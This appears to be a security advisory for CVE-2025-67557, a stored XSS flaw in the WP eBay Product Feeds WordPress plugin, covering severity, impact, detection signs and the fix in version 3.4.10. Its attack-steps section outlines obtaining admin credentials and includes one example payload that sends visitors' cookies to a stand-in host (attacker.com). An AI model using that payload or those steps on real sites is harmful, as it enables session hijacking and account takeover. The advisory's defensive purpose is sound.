CVE-2025-67557: 
WordPress vulnerability analysis and mitigation

CVE-2025-67557 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP eBay Product Feeds WordPress plugin by Rhys Wynne (Winwar Media). It affects all versions up to and including 3.4.9, and was reported by researcher Tarcísio Luchesi (Poystick) on November 19, 2025, with public disclosure on December 15, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) per NVD, while Patchstack rates it at 5.9 (Low priority) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), arising from insufficient sanitization or escaping of user-supplied input before it is rendered in web pages generated by the plugin. An authenticated attacker with at least Administrator or Developer-level privileges can inject malicious scripts that are persistently stored and later executed in the browsers of other users who visit affected pages. Exploitation requires low attack complexity over a network vector, but does require user interaction (a privileged user must trigger the stored payload) (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript, HTML redirects, or advertisement payloads within the WordPress site, which execute in the browsers of visiting users. This can lead to session hijacking, credential theft, defacement, or delivery of malware to site visitors. Given the required privilege level (Administrator/Developer), the practical impact is somewhat limited, but compromised admin accounts or insider threats could leverage this to affect all site visitors (Patchstack).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-67557. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. Patchstack classifies this as low priority with no impactful threat observed, and it is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress plugins at scale (Patchstack).

1. Reconnaissance: Identify WordPress sites running the WP eBay Product Feeds plugin at version 3.4.9 or earlier, using tools like WPScan or Shodan.
2. Obtain privileged access: Gain Administrator or Developer-level credentials on the target WordPress site (e.g., via credential stuffing, phishing, or reuse of leaked credentials).
3. Inject malicious payload: Navigate to the plugin's configuration or content input area within the WordPress admin panel and insert a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field.
4. Trigger execution: Wait for a privileged user or site visitor to load the page containing the stored payload, causing the malicious script to execute in their browser.
5. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server to enable further account takeover or lateral movement (Patchstack).

• Logs: WordPress admin access logs showing unusual plugin configuration changes or content edits by unexpected user accounts; HTTP requests containing script tags or encoded JavaScript in plugin input fields.
• File System: Unexpected modifications to plugin-related database entries or post content containing <script> tags or obfuscated JavaScript.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages served by the WP eBay Product Feeds plugin, potentially indicating cookie or credential exfiltration.
• Process/Behavior: Unusual admin-level activity in WordPress audit logs (if enabled) around plugin settings pages, particularly from unfamiliar IP addresses (Patchstack).

Update the WP eBay Product Feeds plugin to version 3.4.10 or later, which contains the fix for this vulnerability. No configuration-based workaround is available; upgrading is the only recommended remediation. WordPress site administrators using Patchstack can enable auto-update for vulnerable plugins to receive protection automatically (Patchstack).